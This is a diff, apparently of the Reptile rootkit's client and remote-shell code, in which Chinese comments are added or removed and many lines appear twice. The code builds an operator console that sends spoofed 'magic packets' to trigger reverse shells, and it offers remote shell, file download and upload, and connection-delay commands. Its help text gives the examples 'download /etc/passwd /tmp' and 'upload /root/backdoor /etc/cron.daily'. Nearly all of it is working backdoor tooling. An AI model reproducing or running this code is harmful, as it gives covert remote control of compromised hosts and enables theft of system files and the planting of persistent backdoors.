case KEY_LEFT:
case KEY_RIGHT:
button = ((key == KEY_LEFT ? --button : ++button) < 0) ? 1 : (button > 1 ? 0 : button);
print_buttons(dialog, height, width, button); // 打印按钮
wrefresh(dialog); // 刷新窗口以显示更改
print_buttons(dialog, height, width, button);
wrefresh(dialog);
break;
case ' ':
case '\n':
delwin(dialog); // 删除对话框窗口
return button; // 返回按钮状态
delwin(dialog);
return button;
case KEY_ESC:
key = on_key_esc(dialog); // 处理 ESC 键
key = on_key_esc(dialog);
break;
case KEY_RESIZE:
delwin(dialog); // 删除对话框窗口
on_key_resize(); // 处理窗口大小变化
goto do_resize; // 重新调整对话框大小
delwin(dialog);
on_key_resize();
goto do_resize;
}
}
delwin(dialog); // 删除对话框窗口
return key; /* ESC pressed */ // 返回 ESC 键
}
delwin(dialog);
return key; /* ESC pressed */
}

@ -24,16 +24,16 @@
#include "util.h"
pid_t pid;// 声明变量用于存储进程ID、监听器和数据包
char *listener, *packet; //
pid_t pid;
char *listener, *packet;
char *var_str[] = {"lhost", "lport", "srchost", "srcport", "rhost", // 定义参数名称数组,用于配置工具的参数
char *var_str[] = {"lhost", "lport", "srchost", "srcport", "rhost",
"rport", "prot", "pass", "token"};
char *var_str_up[] = {"LHOST", "LPORT", "SRCHOST", "SRCPORT", "RHOST",// 定义参数名称的大写版本数组,用于匹配用户输入
char *var_str_up[] = {"LHOST", "LPORT", "SRCHOST", "SRCPORT", "RHOST",
"RPORT", "PROT", "PASS", "TOKEN"};
char *description[] = {"Local host to receive the shell",// 定义参数描述数组,用于在帮助信息中解释每个参数的作用
char *description[] = {"Local host to receive the shell",
"Local port to receive the shell",
"Source host on magic packets (spoof)",
"Source port on magic packets (only for TCP/UDP)",
@ -44,7 +44,7 @@ char *description[] = {"Local host to receive the shell",//
"Token to trigger the shell"};
int num_variables = 9; //() { return sizeof(var_str) / sizeof(char *); }
char *var_array[] = {NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL};// 定义参数值数组,用于存储用户设置的参数值
char *var_array[] = {NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL};
int help(char **args);
int __exit(char **args);
@ -53,17 +53,15 @@ int unset(char **args);
int show(char **args);
int run(char **args);
int export(char **args);
int load(char **args); //客户端操作
int load(char **args);
char *builtin_str[] = {"help", "set", "unset", "show", "run", "export", "load", "exit"}; // 定义内置命令数组和对应的函数指针数组
char *builtin_str[] = {"help", "set", "unset", "show", "run", "export", "load", "exit"};
int (*builtin_func[])(char **) = {&help, &set, &unset, &show, &run, &export, &load, &__exit};
int num_builtins()
// 定义函数返回内置命令的数量
{ return sizeof(builtin_str) / sizeof(char *); }
int launch(char **args)
// 定义函数用于启动外部程序
int launch(char **args)
{
pid_t pid;
int status;
@ -85,31 +83,30 @@ int launch(char **args)
return 1;
}
void help_set() //help解释其他命令
void help_set()
{
fprintf(stdout, "%s <variable> <value>\n", builtin_str[1]);
fprintf(stdout, "Example: set LHOST 192.168.0.2\n");
}
void help_unset()
// 定义帮助函数用于解释如何使用set命令
{
fprintf(stdout, "%s <variable>\n", builtin_str[2]);
fprintf(stdout, "Example: unset RHOST\n");
}
void help_conf(int i)// 定义帮助函数,用于解释如何使用配置文件相关的命令
void help_conf(int i)
{
fprintf(stdout, "%s <file>\n", builtin_str[i]);
fprintf(stdout, "Example: %s client.conf\n", builtin_str[i]);
}
void no_help()// 定义函数,当命令不需要帮助信息时调用
void no_help()
{
fprintf(stdout, "This command doesn't need help\n");
}
int help(char **args)// 定义help函数用于显示帮助信息
int help(char **args)
{
if (args[0] == NULL)
return 1;
@ -152,7 +149,7 @@ int help(char **args)//
return 1;
}
int __exit(char **args)// 定义__exit函数用于退出程序并释放资源
int __exit(char **args)
{
int i;
@ -176,7 +173,7 @@ int __exit(char **args)//
return 0;
}
int set(char **args)// 定义set函数用于设置参数值
int set(char **args)
{
int i;
@ -205,25 +202,21 @@ int set(char **args)//
return 1;
}
// unset函数用于取消设置某个参数的值
int unset(char** args) {
int unset(char **args)
{
int i;
// 如果没有提供参数返回错误代码1
if (args[0] == NULL)
return 1;
// 如果没有提供要取消设置的参数名打印错误信息并返回错误代码1
if (args[1] == NULL) {
fprintf(stdout, "%s wrong syntax!\n", bad);
return 1;
}
// 遍历所有参数,查找是否匹配用户提供的参数名
for (i = 0; i < num_variables; i++) {
if (strcmp(args[1], var_str[i]) == 0 ||
strcmp(args[1], var_str_up[i]) == 0) {
// 如果找到匹配的参数名释放之前存储的值并将其设置为NULL
strcmp(args[1], var_str_up[i]) == 0) {
if (var_array[i])
free(var_array[i]);
@ -233,90 +226,119 @@ int unset(char** args) {
}
}
// 如果没有找到匹配的参数名,打印错误信息
fprintf(stdout, "%s wrong parameter!\n", bad);
return 1;
}
// show函数用于显示当前所有参数的值和描述
int show(char** args) {
int show(char **args)
{
int i;
// 如果没有提供参数返回错误代码1
if (args[0] == NULL)
return 1;
// 打印表头
fprintf(stdout, "\n");
fprintf(stdout, "\e[00;33mVAR\t\tVALUE\t\t\tDESCRIPTION\e[00m\n\n");
// 遍历所有参数,打印其值和描述
for (i = 0; i < num_variables; i++) {
if (var_array[i]) {
// 根据值的长度,调整输出格式,以保持对齐
if (strlen(var_array[i]) >= 8) {
fprintf(stdout, "%s\t\t%s\t\t%s\n",
var_str_up[i], var_array[i], description[i]);
}
else if (strlen(var_array[i]) >= 16) {
var_str_up[i], var_array[i],
description[i]);
} else if (strlen(var_array[i]) >= 16) {
fprintf(stdout, "%s\t\t%s\t%s\n", var_str_up[i],
var_array[i], description[i]);
}
else {
} else {
fprintf(stdout, "%s\t\t%s\t\t\t%s\n",
var_str_up[i], var_array[i], description[i]);
var_str_up[i], var_array[i],
description[i]);
}
}
else {
// 如果参数没有被设置,打印空值
} else {
fprintf(stdout, "%s\t\t \t\t\t%s\n", var_str_up[i],
description[i]);
}
}
// 打印换行符
fprintf(stdout, "\n");
return 1;
}
// interrupt函数用于处理程序接收到中断信号时的行为
void interrupt(int signal) {
// 打印中断信息
void interrupt(int signal)
{
fprintf(stdout, "\r");
fflush(stdout);
fprintf(stdout, "%s Interrupted: %d\n", warn, signal);
}
// run函数用于运行配置好的工具
int run(char** args) {
int run(char **args)
{
pid_t pid, pid2;
int status;
//char *envp[1] = {NULL};
// 如果没有提供参数返回错误代码1
if (args[0] == NULL)
return 1;
// 检查必要的参数是否已经被设置
// ...
if (!var_array[0]) {
fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[0]);
return 1;
}
if (!var_array[1]) {
fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[1]);
return 1;
}
if (!var_array[2]) {
fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[2]);
return 1;
}
if (!var_array[4]) {
fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[4]);
return 1;
}
if (!var_array[6]) {
fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[6]);
return 1;
}
if (!var_array[8]) {
fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[8]);
return 1;
}
if (!(strcmp(var_array[6], "icmp") == 0 ||
strcmp(var_array[6], "ICMP") == 0)) {
if (!var_array[3]) {
fprintf(stdout, "%s %s is not defined!\n", bad,
var_str_up[3]);
return 1;
}
if (!var_array[5]) {
fprintf(stdout, "%s %s is not defined!\n", bad,
var_str_up[5]);
return 1;
}
}
// 构建用于启动监听器和数据包发送器的参数数组
char* arg_listener[] = { listener, "-p", var_array[1], "-s",
var_array[7], NULL, NULL };
char *arg_listener[] = {listener, "-p", var_array[1], "-s",
var_array[7], NULL, NULL};
char* arg_packet[] = { packet, "-t", var_array[4], "-x",
var_array[6], "-s", var_array[2], "-l",
var_array[0], "-p", var_array[1], "-k",
var_array[8], "-q", var_array[3], "-r",
var_array[5], NULL, NULL };
char *arg_packet[] = {packet, "-t", var_array[4], "-x",
var_array[6], "-s", var_array[2], "-l",
var_array[0], "-p", var_array[1], "-k",
var_array[8], "-q", var_array[3], "-r",
var_array[5], NULL, NULL};
// 创建子进程
pid = fork();
// 如果fork失败打印错误信息并退出
if (pid == -1)
fatal("on forking proccess");
// 父进程等待子进程结束
if (pid > 0) {
signal(SIGTERM, interrupt);
signal(SIGINT, interrupt);
@ -326,18 +348,13 @@ int run(char** args) {
} while (!WIFEXITED(status) && !WIFSIGNALED(status));
}
// 子进程执行具体的启动逻辑
if (pid == 0) {
// 创建另一个子进程
pid2 = fork();
// 如果fork失败打印错误信息并退出
if (pid2 == -1)
fatal("on forking proccess");
// 第二个子进程启动监听器
if (pid2 > 0) {
// 根据配置决定是否传递某些参数
if (var_array[7] == NULL) {
arg_listener[3] = NULL;
arg_listener[4] = NULL;
@ -346,11 +363,9 @@ int run(char** args) {
fprintf(stderr, "%s listener could not be launched\n", bad);
}
// 第三个子进程发送数据包
if (pid2 == 0) {
// 根据协议类型调整参数
if (strcmp(var_array[6], "icmp") == 0 ||
strcmp(var_array[6], "ICMP") == 0) {
strcmp(var_array[6], "ICMP") == 0) {
arg_packet[13] = NULL;
arg_packet[14] = NULL;
arg_packet[15] = NULL;
@ -368,61 +383,59 @@ int run(char** args) {
return 1;
}
// export函数用于将当前配置导出到文件
int export(char** args) {
/*
* Thanks aliyuchang33 for suggesting this! ;)
*
* https://github.com/f0rb1dd3n/Reptile/pull/61/commits/0482eeff93c5b3f9097f7e06e2b2a0fcf248eb8e
*
*/
int export(char **args)
{
int vars;
FILE* confile;
FILE *confile;
// 如果没有提供参数返回错误代码1
if (args[0] == NULL)
return 1;
// 如果没有提供文件名打印错误信息并返回错误代码1
if (args[1] == NULL) {
fprintf(stdout, "%s wrong syntax!\n", bad);
return 1;
}
// 尝试打开文件如果失败打印错误信息并返回错误代码1
if (!(confile = fopen(args[1], "w+"))) {
fprintf(stderr, "%s Cannot open config file\n", bad);
return 1;
}
// 将所有参数的值写入文件
for (vars = 0; vars < 9; vars++)
fprintf(confile, "%s\n", var_array[vars]);
// 关闭文件并打印成功信息
fclose(confile);
fprintf(stdout, "%s Configuration exported\n", good);
return 1;
}
// load函数用于从文件加载配置
int load(char** args) {
int load(char **args)
{
int vars;
FILE* confile;
FILE *confile;
// 如果没有提供参数返回错误代码1
if (args[0] == NULL)
return 1;
// 如果没有提供文件名打印错误信息并返回错误代码1
if (args[1] == NULL) {
fprintf(stdout, "%s wrong syntax!\n", bad);
return 1;
}
// 尝试打开文件如果失败打印错误信息并返回错误代码1
if (!(confile = fopen(args[1], "r+"))) {
fprintf(stderr, "%s Cannot open config file\n", bad);
return 1;
}
// 从文件中读取参数值并存储到var_array中
for (vars = 0; vars < 9; vars++) {
char arg[50] = { 0 };
char arg[50] = {0};
fgets(arg, 50, confile);
if (strcmp(arg, "(null)\n")) {
@ -431,64 +444,55 @@ int load(char** args) {
}
}
// 关闭文件并打印成功信息
fclose(confile);
fprintf(stdout, "%s Configuration loaded\n", good);
return 1;
}
// execute函数用于执行内置命令或启动外部程序
int execute(char** args) {
int execute(char **args)
{
int i;
// 如果没有提供参数返回错误代码1
if (args[0] == NULL)
return 1;
// 遍历所有内置命令,查找匹配的命令并执行
for (i = 0; i < num_builtins(); i++) {
if (strcmp(args[0], builtin_str[i]) == 0)
return (*builtin_func[i])(args);
}
// 如果没有找到匹配的内置命令,尝试启动外部程序
return launch(args);
}
// read_line函数用于读取用户输入的一行命令
char* read_line(void) {
char *read_line(void)
{
int bufsize = RL_BUFSIZE;
int position = 0;
char* buffer = malloc(sizeof(char) * bufsize);
char *buffer = malloc(sizeof(char) * bufsize);
int c;
// 如果内存分配失败,打印错误信息并退出
if (!buffer) {
fprintf(stderr, "reptile: allocation error\n");
exit(EXIT_FAILURE);
}
// 循环读取用户输入,直到换行符
while (1) {
c = getchar();
if (c == EOF) {
free(buffer);
exit(EXIT_SUCCESS);
}
else if (c == '\n') {
} else if (c == '\n') {
buffer[position] = '\0';
return buffer;
}
else {
} else {
buffer[position] = c;
}
position++;
// 如果超出缓冲区大小,扩大缓冲区
if (position >= bufsize) {
bufsize += RL_BUFSIZE;
char* buffer_backup = buffer;
char *buffer_backup = buffer;
if ((buffer = realloc(buffer, bufsize)) == NULL) {
free(buffer_backup);
fprintf(stderr, "reptile: allocation error\n");
@ -498,29 +502,26 @@ char* read_line(void) {
}
}
// parse函数用于解析用户输入的命令行将其分割为参数数组
char** parse(char* line) {
char **parse(char *line)
{
int bufsize = TOK_BUFSIZE, position = 0;
char** tokens = malloc(bufsize * sizeof(char*));
char* token, ** tokens_backup;
char **tokens = malloc(bufsize * sizeof(char *));
char *token, **tokens_backup;
// 如果内存分配失败,打印错误信息并退出
if (!tokens) {
fprintf(stderr, "reptile: allocation error\n");
exit(EXIT_FAILURE);
}
// 使用strtok函数分割命令行
token = strtok(line, TOK_DELIM);
while (token != NULL) {
tokens[position] = token;
position++;
// 如果超出缓冲区大小,扩大缓冲区
if (position >= bufsize) {
bufsize += TOK_BUFSIZE;
tokens_backup = tokens;
tokens = realloc(tokens, bufsize * sizeof(char*));
tokens = realloc(tokens, bufsize * sizeof(char *));
if (!tokens) {
free(tokens_backup);
fprintf(stderr, "reptile: allocation error\n");
@ -534,13 +535,12 @@ char** parse(char* line) {
return tokens;
}
// client_loop函数用于进入命令行循环等待用户输入命令
void client_loop() {
char* line;
char** args;
void client_loop()
{
char *line;
char **args;
int status;
// 循环等待用户输入命令
do {
line = readline("\e[00;31mreptile-client> \e[00m");
add_history(line);
@ -555,35 +555,31 @@ void client_loop() {
clear_history();
}
// main函数是程序的入口点
int main() {
int main()
{
int len;
char* pwd = get_current_dir_name();
char *pwd = get_current_dir_name();
// 清屏并打印欢迎信息
system("clear");
printf("\n\e[01;36mReptile Client\e[00m\n");
printf("\e[01;32mWritten by: F0rb1dd3n\e[00m\n");
banner2();
printf("\n");
// 获取当前工作目录,并为监听器和数据包程序分配内存
len = strlen(pwd);
listener = (char*)malloc(len + 10);
listener = (char *)malloc(len + 10);
// 如果内存分配失败,打印错误信息并退出
if (!listener)
fatal("malloc");
packet = (char*)malloc(len + 8);
packet = (char *)malloc(len + 8);
if (!packet) {
free(listener);
fatal("malloc");
}
// 初始化监听器和数据包程序的路径
bzero(listener, len + 10);
bzero(packet, len + 8);
@ -593,22 +589,16 @@ int main() {
strcpy(packet, pwd);
strcat(packet, "/packet");
// 创建子进程
pid = fork();
// 如果fork失败打印错误信息并退出
if (pid == -1)
fatal("on forking proccess");
// 父进程进入命令行循环
if (pid > 0)
client_loop();
// 子进程执行后台任务(这部分代码被注释掉了)
// if (pid == 0)
// background job
return EXIT_SUCCESS;
}
//客服端实现写了一个简易shell包含了一些内置功能的实现("help", "set", "unset", "show", "run", "export", "load", "exit")
//help打印其他命令使用方法
//exit退出
//set设置变量值需要两个参数参数一为各参数类型("lhost", "lport", "srchost", "srcport", "rhost", "rport", "prot", "pass", "token", 不区分大小写)参数二为该参数的值其值存储在var_array中

@ -23,114 +23,105 @@
#include "pel.h"
#include "util.h"
// 全局变量定义
extern char* optarg; // 获取命令行参数的值
unsigned char message[BUFSIZE + 1]; // 定义一个缓冲区,用于存储发送和接收的消息
char* password = NULL; // 定义一个全局变量,用于存储连接密码
int sockfd; // 定义一个全局变量,用于存储套接字文件描述符
pid_t pid; // 定义一个全局变量用于存储进程ID
// 函数原型声明
int help(int sock, char** args); // 提供帮助信息的函数
int __exit(int sock, char** args); // 退出函数,用于关闭连接
int shell(int sock, char** args); // 打开一个交互式shell的函数
int get_file(int sock, char** args); // 从远程主机下载文件的函数
int put_file(int sock, char** args); // 向远程主机上传文件的函数
int delay(int sock, char** args); // 设置反向shell连接间隔的函数
// 内置命令字符串数组,用于映射命令名称到其对应的函数
char* builtin_str[] = { "help", "download", "upload", "shell", "delay", "exit" };
// 内置命令对应的函数指针数组,用于根据命令名称调用对应的函数
int (*builtin_func[])(int sock, char**) = { &help, &get_file, &put_file, &shell, &delay, &__exit };
// 返回内置命令的数量
int num_builtins() {
return sizeof(builtin_str) / sizeof(char*);
}
// 错误处理函数,根据错误代码打印相应的错误信息
void pel_error(char* s) {
extern char *optarg;
unsigned char message[BUFSIZE + 1];
char *password = NULL;
int sockfd;
pid_t pid;
int help(int sock, char **args);
int __exit(int sock, char **args);
int shell(int sock, char **args);
int get_file(int sock, char **args);
int put_file(int sock, char **args);
int delay(int sock, char **args);
char *builtin_str[] = {"help", "download", "upload", "shell", "delay", "exit"};
int (*builtin_func[])(int sock, char **) = {&help, &get_file, &put_file,
&shell, &delay, &__exit};
int num_builtins() { return sizeof(builtin_str) / sizeof(char *); }
void pel_error(char *s)
{
switch (pel_errno) {
case PEL_CONN_CLOSED:
fprintf(stderr, "%s %s: Connection closed.\n", bad, s);
break;
case PEL_SYSTEM_ERROR:
p_error(s);
break;
case PEL_WRONG_CHALLENGE:
fprintf(stderr, "%s %s: Wrong challenge.\n", bad, s);
break;
case PEL_BAD_MSG_LENGTH:
fprintf(stderr, "%s %s: Bad message length.\n", bad, s);
break;
case PEL_CORRUPTED_DATA:
fprintf(stderr, "%s %s: Corrupted data.\n", bad, s);
break;
case PEL_UNDEFINED_ERROR:
fprintf(stderr, "%s %s: No error.\n", bad, s);
break;
default:
fprintf(stderr, "%s %s: Unknown error code.\n", bad, s);
break;
}
}
// 为下载命令提供帮助信息的函数
void help_download() {
void help_download()
{
fprintf(stdout, "%s <file path> <dest dir>\n", builtin_str[1]);
fprintf(stdout, "Example: download /etc/passwd /tmp\n");
}
// 为上传命令提供帮助信息的函数
void help_upload() {
void help_upload()
{
fprintf(stdout, "%s <file path> <dest dir>\n", builtin_str[2]);
fprintf(stdout, "Example: upload /root/backdoor /etc/cron.daily\n");
}
// 为延迟命令提供帮助信息的函数
void help_delay() {
void help_delay()
{
fprintf(stdout, "%s <seconds>\n", builtin_str[4]);
fprintf(stdout, "Example: delay 3600\n\n");
fprintf(stdout, "%s Use \"delay 0\" if you don't want a connection every X time\n", warn);
fprintf(stdout, "%s Use \"delay 0\" if you don't wanna a "
"connecion every X time\n", warn);
}
// 当命令不需要帮助信息时调用的函数
void no_help() {
void no_help()
{
fprintf(stdout, "This command doesn't need help\n");
}
// 提供帮助信息的函数
int help(int sock, char** args) {
// 如果没有提供子命令或者sock为-1则返回错误代码1
int help(int sock, char **args)
{
if (args[0] == NULL && sock == -1)
return 1;
// 如果提供了子命令,则根据子命令提供具体的帮助信息
if (args[1] != NULL) {
if (strcmp(args[1], builtin_str[0]) == 0) {
no_help();
}
else if (strcmp(args[1], builtin_str[1]) == 0) {
} else if (strcmp(args[1], builtin_str[1]) == 0) {
help_download();
}
else if (strcmp(args[1], builtin_str[2]) == 0) {
} else if (strcmp(args[1], builtin_str[2]) == 0) {
help_upload();
}
else if (strcmp(args[1], builtin_str[3]) == 0) {
} else if (strcmp(args[1], builtin_str[3]) == 0) {
no_help();
}
else if (strcmp(args[1], builtin_str[4]) == 0) {
} else if (strcmp(args[1], builtin_str[4]) == 0) {
help_delay();
}
else if (strcmp(args[1], builtin_str[5]) == 0) {
} else if (strcmp(args[1], builtin_str[5]) == 0) {
no_help();
}
else {
} else {
fprintf(stdout, "This command is not valid!\n");
}
}
else {
// 如果没有提供子命令,则打印所有命令的帮助信息
} else {
fprintf(stdout, "\n\e[01;36mReptile Shell\e[00m\n");
fprintf(stdout, "\e[01;32mWritten by: F0rb1dd3n\e[00m\n\n");
fprintf(stdout, "\t%s\t\tShow this help\n", builtin_str[0]);
@ -146,95 +137,93 @@ int help(int sock, char** args) {
return 1;
}
// 退出函数,用于关闭连接
int __exit(int sock, char** args) {
// 如果没有提供参数或者sock为-1则返回错误代码1
int __exit(int sock, char **args)
{
if (args[0] == NULL && sock == -1)
return 1;
// 发送退出消息给远程主机
pel_send_msg(sock, (unsigned char*)EXIT, EXIT_LEN);
pel_send_msg(sock, (unsigned char *)EXIT, EXIT_LEN);
fprintf(stdout, "\n");
return 0;
}
// 打开一个交互式shell的函数
int shell(int sock, char** args) {
// 定义文件描述符集合用于select函数
int shell(int sock, char **args)
{
fd_set rd;
// 定义终端类型和窗口大小等变量
char* term, * temp;
char *term, *temp;
int ret, len, imf, i, size;
struct winsize ws;
struct termios tp, tr;
// 如果没有提供参数或者sock为-1则返回错误代码1
if (args[0] == NULL && sock == -1)
return 1;
// 获取终端类型
term = getenv("TERM");
if (term == NULL)
term = "vt100";
// 发送终端类型到远程主机
len = strlen(term);
ret = pel_send_msg(sock, (unsigned char*)term, len);
ret = pel_send_msg(sock, (unsigned char *)term, len);
if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg");
return 1;
}
// 如果标准输入是终端设置imf为1
imf = 0;
if (isatty(0)) {
imf = 1;
// 获取窗口大小
if (ioctl(0, TIOCGWINSZ, &ws) < 0) {
p_error("ioctl(TIOCGWINSZ)");
return 1;
}
}
else {
} else {
ws.ws_row = 25;
ws.ws_col = 80;
}
// 发送窗口大小到远程主机
message[0] = (ws.ws_row >> 8) & 0xFF;
message[1] = (ws.ws_row) & 0xFF;
message[2] = (ws.ws_col >> 8) & 0xFF;
message[3] = (ws.ws_col) & 0xFF;
ret = pel_send_msg(sock, message, 4);
if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg");
return 1;
}
// 如果命令是shell则发送shell命令到远程主机
if (strcmp(args[0], builtin_str[3]) == 0) {
temp = (char*)malloc(2);
temp = (char *)malloc(2);
if (!temp) {
p_error("malloc");
return 1;
}
temp[0] = RUNSHELL;
temp[1] = '\0';
fprintf(stdout, "\n");
}
else {
// 如果命令不是shell则发送用户输入的命令到远程主机
} else {
size = 1;
len = 0;
temp = (char*)malloc(size);
temp = (char *)malloc(size);
if (!temp) {
p_error("malloc");
return 1;
}
while (args[len] != NULL) {
size++;
size += strlen(args[len]);
char* temp_backup = temp;
char *temp_backup = temp;
if ((temp = realloc(temp, size)) == NULL) {
free(temp_backup);
p_error("realloc");
@ -242,337 +231,390 @@ int shell(int sock, char** args) {
}
len++;
}
memset(temp, '\0', size);
for (i = 0; i < len; i++) {
strcat(temp, args[i]);
strcat(temp, " ");
}
}
len = strlen(temp);
ret = pel_send_msg(sock, (unsigned char*)temp, len);
ret = pel_send_msg(sock, (unsigned char *)temp, len);
free(temp);
if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg");
return 1;
}
// 设置终端属性,用于非规范模式下的输入输出
if (isatty(1)) {
if (tcgetattr(1, &tp) < 0) {
p_error("tcgetattr");
return 1;
}
memcpy((void*)&tr, (void*)&tp, sizeof(tr));
memcpy((void *)&tr, (void *)&tp, sizeof(tr));
tr.c_iflag |= IGNPAR;
tr.c_iflag &=
~(ISTRIP | INLCR | IGNCR | ICRNL | IXON | IXANY | IXOFF);
~(ISTRIP | INLCR | IGNCR | ICRNL | IXON | IXANY | IXOFF);
tr.c_lflag &=
~(ISIG | ICANON | ECHO | ECHOE | ECHOK | ECHONL | IEXTEN);
~(ISIG | ICANON | ECHO | ECHOE | ECHOK | ECHONL | IEXTEN);
tr.c_oflag &= ~OPOST;
tr.c_cc[VMIN] = 1;
tr.c_cc[VTIME] = 0;
if (tcsetattr(1, TCSADRAIN, &tr) < 0) {
p_error("tcsetattr");
return 1;
}
}
// 进入一个循环,处理输入输出
while (1) {
FD_ZERO(&rd);
if (imf != 0)
FD_SET(0, &rd);
FD_SET(sock, &rd);
if (select(sock + 1, &rd, NULL, NULL, NULL) < 0) {
p_error("select");
break;
}
if (FD_ISSET(sock, &rd)) {
ret = pel_recv_msg(sock, message, &len);
if (ret != PEL_SUCCESS) {
pel_error("pel_recv_msg");
break;
}
if (strncmp((char*)message, EXIT, EXIT_LEN) == 0) {
if (strncmp((char *)message, EXIT, EXIT_LEN) == 0) {
if (isatty(1))
tcsetattr(1, TCSADRAIN, &tp);
fprintf(stdout, "\n");
return 1;
}
if (write(1, message, len) != len) {
p_error("write");
break;
}
}
if (imf != 0 && FD_ISSET(0, &rd)) {
if ((len = read(0, message, BUFSIZE)) < 0) {
p_error("read");
break;
}
if (len == 0) {
fprintf(stderr, "stdin: end-of-file\n");
break;
}
ret = pel_send_msg(sock, message, len);
if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg");
break;
}
}
}
if (isatty(1))
tcsetattr(1, TCSADRAIN, &tp);
return 1;
}
// 从远程主机下载文件的函数
int get_file(int sock, char** args) {
char* temp, * pathname;
int get_file(int sock, char **args)
{
char *temp, *pathname;
int ret, len, fd, total;
unsigned char out = OUT;
// 如果没有提供足够的参数或者sock为-1则返回错误代码1
if (args[1] == NULL || args[2] == NULL) {
fprintf(stderr, "%s wrong arguments\n\n", bad);
if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS)
pel_error("pel_send_msg");
return 1;
}
// 发送文件路径到远程主机
len = strlen(args[1]);
ret = pel_send_msg(sock, (unsigned char*)args[1], len);
ret = pel_send_msg(sock, (unsigned char *)args[1], len);
if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg");
return 1;
}
// 构建保存文件的路径
temp = strrchr(args[1], '/');
if (temp != NULL)
temp++;
if (temp == NULL)
temp = args[1];
len = strlen(args[2]);
pathname = (char*)malloc(len + strlen(temp) + 2);
pathname = (char *)malloc(len + strlen(temp) + 2);
if (pathname == NULL) {
p_error("malloc");
return 1;
}
strcpy(pathname, args[2]);
strcpy(pathname + len, "/");
strcpy(pathname + len + 1, temp);
// 创建文件
fd = creat(pathname, 0644);
if (fd < 0) {
p_error("creat");
free(pathname);
return 1;
}
free(pathname);
// 接收文件数据并保存
total = 0;
while (1) {
ret = pel_recv_msg(sock, message, &len);
if (ret != PEL_SUCCESS) {
pel_error("pel_recv_msg");
fprintf(stderr, "%s Transfer failed.\n", bad);
return 1;
}
if (strncmp((char*)message, EXIT, EXIT_LEN) == 0 && total > 0)
if (strncmp((char *)message, EXIT, EXIT_LEN) == 0 && total > 0)
break;
if (write(fd, message, len) != len) {
p_error("write");
return 1;
}
total += len;
fprintf(stdout, "%d\r", total);
fflush(stdout);
}
fprintf(stdout, "%s %d done.\n\n", good, total);
return 1;
}
// 向远程主机上传文件的函数
int put_file(int sock, char** args) {
char* temp, * pathname;
int put_file(int sock, char **args)
{
char *temp, *pathname;
int ret, len, fd, total;
unsigned char out = OUT;
// 如果没有提供足够的参数或者sock为-1则返回错误代码1
if (args[1] == NULL || args[2] == NULL) {
fprintf(stderr, "%s wrong arguments\n\n", bad);
if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS)
pel_error("pel_send_msg");
return 1;
}
// 构建文件路径
temp = strrchr(args[1], '/');
if (temp != NULL)
temp++;
if (temp == NULL)
temp = args[1];
len = strlen(args[2]);
pathname = (char*)malloc(len + strlen(temp) + 2);
pathname = (char *)malloc(len + strlen(temp) + 2);
if (pathname == NULL) {
p_error("malloc");
return 1;
}
strcpy(pathname, args[2]);
strcpy(pathname + len, "/");
strcpy(pathname + len + 1, temp);
// 发送文件路径到远程主机
len = strlen(pathname);
ret = pel_send_msg(sock, (unsigned char*)pathname, len);
ret = pel_send_msg(sock, (unsigned char *)pathname, len);
free(pathname);
if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg");
return 1;
}
// 打开文件并发送文件数据
fd = open(args[1], O_RDONLY);
if (fd < 0) {
p_error("open");
return 1;
}
total = 0;
while (1) {
len = read(fd, message, BUFSIZE);
if (len < 0) {
p_error("read");
return 1;
}
if (len == 0) {
break;
}
ret = pel_send_msg(sock, message, len);
if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg");
fprintf(stderr, "%s Transfer failed.\n", bad);
return 1;
}
total += len;
printf("%s %d\r", good, total);
fflush(stdout);
}
// 发送结束信号
pel_send_msg(sock, (unsigned char*)EXIT, EXIT_LEN);
pel_send_msg(sock, (unsigned char *)EXIT, EXIT_LEN);
printf("%s %d done.\n\n", good, total);
return 1;
}
// 设置反向shell连接间隔的函数
int delay(int sock, char** args) {
int delay(int sock, char **args)
{
int ret, flag;
unsigned int i, j;
char* numbers = "0123456789";
char *numbers = "0123456789";
unsigned char out = OUT;
// 如果没有提供参数或者sock为-1则返回错误代码1
if (args[1] == NULL) {
fprintf(stderr, "%s no arguments\n\n", bad);
if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS)
pel_error("pel_send_msg");
return 1;
}
// 检查参数是否为数字
for (i = 0; i < strlen(args[1]); i++) {
flag = 0;
for (j = 0; j < strlen(numbers); j++) {
if (args[1][i] == numbers[j])
flag = 1;
}
if (flag == 0) {
fprintf(stderr, "%s wrong argument\n\n", bad);
if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS)
pel_error("pel_send_msg");
return 1;
}
}
// 发送延迟时间设置到远程主机
ret = pel_send_msg(sock, (unsigned char*)args[1], strlen(args[1]));
ret = pel_send_msg(sock, (unsigned char *)args[1], strlen(args[1]));
if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg");
return 1;
}
fprintf(stdout, "%s delay -> %s\n\n", good, args[1]);
return 1;
}
// 执行命令的函数
int execute(int sock, char** args) {
int execute(int sock, char **args)
{
int i, ret;
// 如果没有提供参数或者sock为-1则返回错误代码1
if (args[0] == NULL || sock == -1)
return 1;
// 查找并执行内置命令
for (i = 0; i < num_builtins(); i++) {
if (strcmp(args[0], builtin_str[i]) == 0) {
if (i == 0) {
return (*builtin_func[i])(sock, args);
}
else {
ret = pel_send_msg(sock, (unsigned char*)&i, 1);
} else {
ret =
pel_send_msg(sock, (unsigned char *)&i, 1);
if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg");
return 1;
}
return (*builtin_func[i])(sock, args);
}
}
}
// 如果不是内置命令发送shell命令
i = 3;
ret = pel_send_msg(sock, (unsigned char*)&i, 1);
ret = pel_send_msg(sock, (unsigned char *)&i, 1);
if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg");
return 1;
}
return (*builtin_func[3])(sock, args);
}
